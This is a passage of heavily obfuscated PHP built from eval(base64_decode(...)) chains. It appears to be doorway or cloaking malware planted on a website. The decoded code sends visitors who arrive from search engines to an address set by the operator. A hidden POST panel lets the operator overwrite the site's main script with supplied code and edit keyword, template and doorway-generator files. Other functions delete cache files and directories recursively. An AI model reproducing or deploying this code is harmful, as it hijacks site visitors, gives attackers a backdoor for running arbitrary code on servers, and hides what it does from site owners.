U1snc2Vfc291cmNlJ10gPSAnY25ldCc7IH1lbHNlaWYoc3RycG9zKCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbaG9zdF0sICdibGluZ28uJykpeyAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxID0gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSODQ0REZDMEZEMjVEMUY3RTAzREVDRjFGNUE5NTA0QTlbcXVlcnldLCAncScpOyAkR0xPQkFMU1snc2Vfc291cmNlJ10gPSAnYmxpbmdvJzsgfWVsc2VpZihzdHJwb3MoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtob3N0XSwgJ2ljcS4nKSl7ICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEgPSBGMDlGMTJFOUY1QjhFQjc0N0REMEYyNENEODYyODRDQjkoJFI4NDRERkMwRkQyNUQxRjdFMDNERUNGMUY1QTk1MDRBOVtxdWVyeV0sICdxJyk7ICRHTE9CQUxTWydzZV9zb3VyY2UnXSA9ICdpY3EnOyB9IGlmKCEkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxKXsgcmV0dXJuOyB9ICRHTE9CQUxTWydzZV9rZXl3b3JkJ10gPSAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxOyBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3InXSB8fCAhJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMiB8fCAhJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKXsgcmV0dXJuOyB9ZWxzZXsgJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMiA9IGFycmF5X2ZsaXAoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMik7IH0gJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiA9IGV4cGxvZGUoIiAiLCAkUjM2OTIzQ0Y2MjYxOEQxQjk5ODE3NDA3Mzg5NzFFNjUxKTsgaWYoaXNfYXJyYXkoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMikgJiYgY291bnQoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMikpeyBmb3JlYWNoKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7ICRSMjQ0RjM4MjY2QzU5NTg3RDY5NkFFQzA4QTc3MUI4MDMgPSBzdHJ0b2xvd2VyKHRyaW0oJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMykpOyBpZighJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7IGNvbnRpbnVlOyB9IGlmKGlzc2V0KCRSNTM3Mzc2QzY4MDJEODg4NTEwMTU0N0FGODFFRUU1RjJbJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwM10pIHx8IGlzc2V0KCRSNTM3Mzc2QzY4MDJEODg4NTEwMTU0N0FGODFFRUU1RjJbJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMy4iXG4iXSkgfHwgaXNzZXQoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMlskUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzLiJcblxyIl0pIHx8IGlzc2V0KCRSNTM3Mzc2QzY4MDJEODg4NTEwMTU0N0FGODFFRUU1RjJbJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMy4iXHIiXSkgfHwgaXNzZXQoJFI1MzczNzZDNjgwMkQ4ODg1MTAxNTQ3QUY4MUVFRTVGMlskUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzLiJcclxuIl0pKXsgaWYoIUY3M0NDNjNEMkU1RDkyMkEwOEJFNzJFRkYxOTBDNTFDQSgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSwgJEdMT0JBTFNbJ2RnY3AnXS4iY3NpIiwgJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3QnXSkpeyByZXR1cm47IH0gJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3UnXSA9IHN0cl9yZXBsYWNlKCcla3clJywgc3RyX3JlcGxhY2UoJyAnLCAnKycsICRSMzY5MjNDRjYyNjE4RDFCOTk4MTc0MDczODk3MUU2NTEpLCAkR0xPQkFMU1snZGdvcHQnXVsnZGdzdSddKTsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3UnXSA9IHN0cl9yZXBsYWNlKCclcmVmJScsIHJhd3VybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pLCAkR0xPQkFMU1snZGdvcHQnXVsnZGdzdSddKTsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3UnXSA9IHN0cl9yZXBsYWNlKCclc2VsZl91cmwlJywgcmF3dXJsZW5jb2RlKCdodHRwOi8nLicvJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAkR0xPQkFMU1snZGdvcHQnXVsnZGdzdSddKTsgaWYoIWhlYWRlcnNfc2VudCgpKXsgSGVhZGVyKCJMb2NhdGlvbjogeyRHTE9CQUxTWydkZ29wdCddWydkZ3N1J119Iik7IH1lbHNleyBlY2hvIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7dXJsPXskR0xPQkFMU1snZGdvcHQnXVsnZGdzdSddfSc+PC9oZWFkPjxib2R5PjwvYm9keT48L2h0bWw+IjsgfSBkaWU7IH0gfSB9fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjIxRTE5ODkxRDZGQ0JDNjBFRTkyNjVBQkQ4ODhEMDBDKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTAsICRSQTI0MDFGM0E2RTgyNjM4NDQyMzlENzhGQ0U5NjE5N0IgPSBmYWxzZSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSB0cnVlOyBpZihmaWxlX2V4aXN0cygkUjM0MzU5ODZCREE4QzkzOTNFMEVCREI5RjU4RjAyNzUwKSl7ICRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEgPSBvcGVuZGlyKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTApOyB3aGlsZShzdHJsZW4oJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNiA9IHJlYWRkaXIoJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpKXsgaWYoJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNiA9PSAnLicgfHwgJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNiA9PSAnLi4nKXsgY29udGludWU7IH0gaWYoaXNfZGlyKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTAuJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNikpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gRjIxRTE5ODkxRDZGQ0JDNjBFRTkyNjVBQkQ4ODhEMDBDKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTAuJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNi4nLycsIHRydWUpOyBjb250aW51ZTsgfSBpZighdW5saW5rKCRSMzQzNTk4NkJEQThDOTM5M0UwRUJEQjlGNThGMDI3NTAuJFIwOUEzMzQ2Mzc2MUU1MDYyNDgwNzhENDIyQjFDNTIyNikpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gZmFsc2U7IH0gfSBjbG9zZWRpcigkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKTsgaWYoJFJBMjQwMUYzQTZFODI2Mzg0NDIzOUQ3OEZDRTk2MTk3QiAmJiAhcm1kaXIoJFIzNDM1OTg2QkRBOEM5MzkzRTBFQkRCOUY1OEYwMjc1MCkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gZmFsc2U7IH0gfSByZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mzt9'));eval(base64_decode('ZnVuY3Rpb24gRkZENENBMDk4NzI3OEQ5RTNFQjdCNkVDNTFDNTlDNkU4KCl7IGdsb2JhbCAkX1BPU1Q7IGVycm9yX3JlcG9ydGluZyhFX0FMTCAmIH5FX05PVElDRSk7IHNldF90aW1lX2xpbWl0KDYwMCk7IGlmKHN0cmxlbih0cmltKCRfUE9TVFsnY29kZSddKSkgPiAxMDAwKXsgJF9QT1NUWydjb2RlJ10gPSB0cmltKHJhd3VybGRlY29kZSgkX1BPU1RbJ2NvZGUnXSkpOyBpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsgJF9QT1NUWydjb2RlJ10gPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydjb2RlJ10pOyB9IGlmKHN0cmxlbigkX1BPU1RbJ2NvZGUnXSkgPD4gZmlsZXNpemUoJEdMT0JBTFNbJ2RnY3AnXS4kR0xPQkFMU1snZGdpbiddKSl7IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGdjcCddLiRHTE9CQUxTWydkZ2luJ10sICRfUE9TVFsnY29kZSddLCAibWFpbiBzY3JpcHQgZmlsZSB7JEdMT0JBTFNbJ2RnY3AnXX17JEdMT0JBTFNbJ2RnaW4nXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSk7IH0gfSBpZigkX1BPU1RbJ2Rnb3B0J10peyAkX1BPU1RbJ2Rnb3B0J10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydkZ29wdCddKTsgaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7ICRfUE9TVFsnZGdvcHQnXSA9IHN0cmlwc2xhc2hlcygkX1BPU1RbJ2Rnb3B0J10pOyB9IGlmKHN0cnBvcygkX1BPU1RbJ2Rnb3B0J10sJyZxdW90OycpKXsgJF9QT1NUWydkZ29wdCddID0gaHRtbF9lbnRpdHlfZGVjb2RlKCRfUE9TVFsnZGdvcHQnXSk7IH0gJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RiA9IHByZWdfc3BsaXQoIi9cbi8iLCAkX1BPU1RbJ2Rnb3B0J10pOyBmb3JlYWNoKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7ICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkMgPSBleHBsb2RlKCIgPSAiLCAkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKTsgaWYoJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1swXSl7ICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0gPSB0cmltKCRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0pOyBpZigkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzFdWzBdID09ICciJyl7ICRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0gPSBzdWJzdHIoJFI5MDYxQzlGRUYxNkU3QzhDNTU2MzY1RTE3RDM3OTUyQ1sxXSwgMSwgc3RybGVuKCRSOTA2MUM5RkVGMTZFN0M4QzU1NjM2NUUxN0QzNzk1MkNbMV0pIC0gMik7IH0gJEdMT0JBTFNbJ2Rnb3B0J11bdHJpbSgkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzBdKV0gPSAkUjkwNjFDOUZFRjE2RTdDOEM1NTYzNjVFMTdEMzc5NTJDWzFdOyB9IH0gRkFCRjFGOTc2ODM1M0IyNTY0QjU0NjBGMTc4QzRGMUNCKDApOyB9IGlmKCRfUE9TVFsnZGdrZXl3b3JkcyddKXsgJF9QT1NUWydkZ2tleXdvcmRzJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydkZ2tleXdvcmRzJ10pOyBpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsgJF9QT1NUWydkZ2tleXdvcmRzJ10gPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydkZ2tleXdvcmRzJ10pOyB9IGlmKHN0cnBvcygkX1BPU1RbJ2RndGVtcGxhdGUnXSwnJnF1b3Q7JykpeyAkX1BPU1RbJ2RndGVtcGxhdGUnXSA9IGh0bWxfZW50aXR5X2RlY29kZSgkX1BPU1RbJ2RndGVtcGxhdGUnXSk7IH0gaWYoIWZpbGVfZXhpc3RzKCRHTE9CQUxTWydkZ2tmJ10pIHx8IHN0cmxlbigkX1BPU1RbJ2Rna2V5d29yZHMnXSkgPD4gZmlsZXNpemUoJEdMT0JBTFNbJ2Rna2YnXSkpeyBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJEdMT0JBTFNbJ2Rna2YnXSwgJF9QT1NUWydkZ2tleXdvcmRzJ10sICJrZXl3b3JkcyBmaWxlIHskR0xPQkFMU1snZGdrZiddfSB1cGRhdGVkIHN1Y2Nlc3NmdWxseS4uLjxicj4iLCAxKTsgRkUwMzIzQTkwMzlBREQyOTc4QkY1QjQ5NTUwNTcyQzdDKCk7IEZCOTdGQTYzQzc4QkM5MUI1NDAzQzc3QThDRjNBOTk4NigpOyB9IH0gaWYoJF9QT1NUWydkZ3NrZXl3b3JkcyddKXsgJF9QT1NUWydkZ3NrZXl3b3JkcyddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnZGdza2V5d29yZHMnXSk7IGlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpeyAkX1BPU1RbJ2Rnc2tleXdvcmRzJ10gPSBzdHJpcHNsYXNoZXMoJF9QT1NUWydkZ3NrZXl3b3JkcyddKTsgfSBpZighZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2Rnc2tmJ10pIHx8IHN0cmxlbigkX1BPU1RbJ2Rnc2tleXdvcmRzJ10pIDw+IGZpbGVzaXplKCRHTE9CQUxTWydkZ3NrZiddKSl7IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGdza2YnXSwgJF9QT1NUWydkZ3NrZXl3b3JkcyddLCAic19rZXl3b3JkcyBmaWxlIHskR0xPQkFMU1snZGdza2YnXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSk7IH0gfSBpZigkX1BPU1RbJ2RndGVtcGxhdGUnXSl7ICRfUE9TVFsnZGd0ZW1wbGF0ZSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnZGd0ZW1wbGF0ZSddKTsgaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7ICRfUE9TVFsnZGd0ZW1wbGF0ZSddID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnZGd0ZW1wbGF0ZSddKTsgfSBpZighZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RndGYnXSkgfHwgc3RybGVuKCRfUE9TVFsnZGd0ZW1wbGF0ZSddKSA8PiBmaWxlc2l6ZSgkR0xPQkFMU1snZGd0ZiddKSl7IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkR0xPQkFMU1snZGd0ZiddLCAkX1BPU1RbJ2RndGVtcGxhdGUnXSwgInRlbXBsYXRlIGZpbGUgeyRHTE9CQUxTWydkZ3RmJ119IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5Li4uPGJyPiIsIDEpOyB9IH0gaWYoJF9QT1NUWydkZ2Rvb3JnZW4nXSl7ICRfUE9TVFsnZGdkb29yZ2VuJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydkZ2Rvb3JnZW4nXSk7IGlmKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpeyAkX1BPU1RbJ2RnZG9vcmdlbiddID0gc3RyaXBzbGFzaGVzKCRfUE9TVFsnZGdkb29yZ2VuJ10pOyB9IGlmKCFmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdkZiddKSB8fCBzdHJsZW4oJF9QT1NUWydkZ2Rvb3JnZW4nXSkgPD4gZmlsZXNpemUoJEdMT0JBTFNbJ2RnZGYnXSkpeyBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJEdMT0JBTFNbJ2RnZGYnXSwgJF9QT1NUWydkZ2Rvb3JnZW4nXSwgImRvb3JnZW4gZmlsZSB7JEdMT0JBTFNbJ2RnZGYnXX0gdXBkYXRlZCBzdWNjZXNzZnVsbHkuLi48YnI+IiwgMSk7IH0gfSBlY2hvInskR0xPQkFMU1snanN2J119PGZvcm0gYWN0aW9uPVwiP2Rnc1wiIG1ldGhvZD0nUE9TVCc+IDxoMj5PcHRpb25zOjwvaDI+IDx0ZXh0YXJlYSBuYW1lPSdkZ29wdCcgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4Oyc+IiAuIEYxN0I4NzkwODk2OTA1MjU1NTg4OTg3Q0YwMTJBRkJEOCgpIC4gIjwvdGV4dGFyZWE+IDx0YWJsZSBib3JkZXI9MCB3aWR0aD0nMTAwJSc+IDx0cj4gPHRkIHdpZHRoPSc1MCUnPiA8aDI+RCBLZXl3b3Jkczo8L2gyPiA8dGV4dGFyZWEgbmFtZT0nZGdrZXl3b3Jkcycgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjIwMHB4Oyc+IiAuIEZCRTQ0M0JDNzQxQzIxQ0FFREQ0RDUxNTAzMzZFMjc3MSgpIC4gIjwvdGV4dGFyZWE+IDwvdGQ+IDx0ZCB3aWR0aD0nNTAlJz4gPGgyPlMgS2V5d29yZHM6PC9oMj4gPHRleHRhcmVhIG5hbWU9J2Rnc2tleXdvcmRzJyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MjAwcHg7Jz4iIC4gc3RybGVuKEY5NThERjdDMjA3OTNDRENFMDQ5RTJBMDQzNkIzNDk4RCgpKSAuICI8L3RleHRhcmVhPiA8L3RkPiA8L3RyPiA8L3RhYmxlPiA8aDI+VGVtcGxhdGU6PC9oMj4gPHRleHRhcmVhIG5hbWU9J2RndGVtcGxhdGUnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoyMDBweDsnPiIuaHRtbGVudGl0aWVzKEZDMDNGNjFGQTVDOTdCMzIwRUMxODg3NDI1RkIxM0QxRigpKS4iPC90ZXh0YXJlYT4gPGgyPkRvb3JnZW46PC9oMj4gPHRleHRhcmVhIG5hbWU9J2RnZG9vcmdlbicgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjIwMHB4Oyc+Ii5zdHJsZW4oRjk1NDQxN0E4Rjk2QTAxQTBFOEZBRkJGMkUxQTkzQTdGKCkpLiI8L3RleHRhcmVhPiA8YnIgLz48YnIgLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVVBEQVRFJz48L2Zvcm0+IjsgaWYoRkMyM0Y3RUM2NEYwQkRFM0I1QURFNkM5REQ0OEJFMUYyKCkpeyBlY2hvICI8YiBzdHlsZT0nY29sb3I6Z3JlZW4nPnskR0xPQkFMU1snZGdjcCddfTA8L2I+PGJyPiI7IH1lbHNleyBlY2hvICI8YiBzdHlsZT0nY29sb3I6cmVkJz57JEdMT0JBTFNbJ2RnY3AnXX0wPC9iPjxicj4iOyB9IGVjaG8iPGgyPnZpc2l0b3JzOjwvaDI+IjsgZWNobyBGOEUxQzlCNzkwNjAyNjVDNkE0MjEzM0MyREEyQzMzQTYoKTtmbHVzaCgpOyBlY2hvIjxocj48aDI+Y2FjaGUgc3RhdGU6PC9oMj4iO2ZsdXNoKCk7ICRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTAgPSAwOyAkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEID0gMDsgJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSA9IG9wZW5kaXIoJEdMT0JBTFNbJ2RnY3AnXSk7IGlmKCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpeyB3aGlsZShzdHJsZW4oJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiA9IHJlYWRkaXIoJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpKXsgaWYoaXNfZGlyKCRHTE9CQUxTWydkZ2NwJ10uJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QikgfHwgcHJlZ19tYXRjaCgiL1xELyIsICRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkIpKXsgY29udGludWU7IH0gJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCsrOyAkUjNEMzY2MzFDMTdBNDEwMjA3RDMyRTlEODBENjBGNEI1ID0gZmlsZXNpemUoJEdMT0JBTFNbJ2RnY3AnXS4kUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTsgaWYoJFIzRDM2NjMxQzE3QTQxMDIwN0QzMkU5RDgwRDYwRjRCNSA+IDApeyAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKys7IGVjaG8ieyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkJ9IFtzaXplOiB7JFIzRDM2NjMxQzE3QTQxMDIwN0QzMkU5RDgwRDYwRjRCNX1dPGJyPiI7IH0gfSBjbG9zZWRpcigkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKTsgfWVsc2V7IGVjaG8iY2FuJ3Qgb3BlbmRpciB7JEdMT0JBTFNbJ2RnY3AnXX08YnI+IjsgfSBpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEID4gMCl7IGVjaG8iVE9UQUwgUEFHRVM6IDxiPiRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQ8L2I+OyBDUkVBVEVEOiA8Yj4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPC9iPiBbIiAuIHJvdW5kKCgkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwIC8gJFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RCkgKiAxMDAwKSAvIDEwIC4gIiVdPGJyPiI7IH1lbHNleyBlY2hvIkNBQ0hFIElTIEVNUFRZPGJyPiI7IH19'));eval(base64_decode('ZnVuY3Rpb24gRjA5RjEyRTlGNUI4RUI3NDdERDBGMjRDRDg2Mjg0Q0I5KCRSRTkxMTkyQTAwRkY5OTA0NzdFRTQxNEFENUQ3MDhGMDgsICRSQTFDMkY1NEIzRDcyMDVDNjMxQkI2MjQzMEQ4OUE4NTcpeyAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGID0gZXhwbG9kZSgiJiIsICRSRTkxMTkyQTAwRkY5OTA0NzdFRTQxNEFENUQ3MDhGMDgpOyBmb3JlYWNoKCRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgYXMgJFJGNDEzRjA2QUVCQkNFRjVFMUM4QjEwMTlERUU2RkU2Qj0+JFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyl7ICRSNkM2RUMxMzRDREM4MDYxNUY4OTIxNzFCRDczMjUzODMgPSBleHBsb2RlKCI9IiwgJFIyNDRGMzgyNjZDNTk1ODdENjk2QUVDMDhBNzcxQjgwMyk7IGlmKHN0cnRvbG93ZXIoJFI2QzZFQzEzNENEQzgwNjE1Rjg5MjE3MUJENzMyNTM4M1swXSkgPT0gJFJBMUMyRjU0QjNENzIwNUM2MzFCQjYyNDMwRDg5QTg1Nyl7IGFycmF5X3NoaWZ0KCRSNkM2RUMxMzRDREM4MDYxNUY4OTIxNzFCRDczMjUzODMpOyByZXR1cm4gc3RyX3JlcGxhY2UoJysnLCAnICcsIHJhd3VybGRlY29kZShpbXBsb2RlKCIgIiwgJFI2QzZFQzEzNENEQzgwNjE1Rjg5MjE3MUJENzMyNTM4MykpKTsgfSB9fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkUwMzIzQTkwMzlBREQyOTc4QkY1QjQ5NTUwNTcyQzdDKCRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSAkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxID0gb3BlbmRpcigkR0xPQkFMU1snZGdjcCddKTsgaWYoJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSl7IHdoaWxlKHN0cmxlbigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCID0gcmVhZGRpcigkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSkpeyBpZihpc19kaXIoJEdMT0JBTFNbJ2RnY3AnXS4kUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKSB8fCBwcmVnX21hdGNoKCIvXEQvIiwgJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QikpeyBjb250aW51ZTsgfSBpZighdW5saW5rKCRHTE9CQUxTWydkZ2NwJ10uJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QikgJiYgISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvIjxiIHN0eWxlPSdjb2xvcjpyZWQnPmZhaWxlZCB0byByZW1vdmUgeyRHTE9CQUxTWydkZ2NwJ119eyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkJ9PC9iPjxicj4iOyB9IH0gY2xvc2VkaXIoJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSk7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyI8YiBzdHlsZT0nY29sb3I6Z3JlZW4nPkNBQ0hFIENMRUFSRUQ8L2I+PGJyPiI7IH0gfWVsc2VpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iY2FuJ3Qgb3BlbmRpciB7JEdMT0JBTFNbJ2RnY3AnXX08YnI+IjsgfX0='));eval(base64_decode('ZnVuY3Rpb24gRkI5N0ZBNjNDNzhCQzkxQjU0MDNDNzdBOENGM0E5OTg2KCRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZSl7IGdsb2JhbCAkX0dFVDsgaWYoaXNzZXQoJF9HRVRbJ2RnZCddKSl7ICRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YgPSBmYWxzZTsgfSBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8iPGgyPmluc3RhbGxpbmcuLi48L2gyPiI7Zmx1c2goKTsgfSBpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdrZiddKSl7ICRHTE9CQUxTWydrZXl3b3JkcyddID0gZmlsZSgkR0xPQkFMU1snZGdrZiddKTsgaWYoISRHTE9CQUxTWydrZXl3b3JkcyddKXsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvIjxiIHN0eWxlPSdjb2xvcjpyZWQnPk5PIEtFWVdPUkRTPC9iPjxicj4iOyB9IHJldHVybjsgfSB9ZWxzZXsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvIjxiIHN0eWxlPSdjb2xvcjpyZWQnPk5PIEtFWVdPUkRTIEZJTEU8L2I+PGJyPiI7IH0gcmV0dXJuOyB9ICRSM0VFRTM5Njk0RjhDN0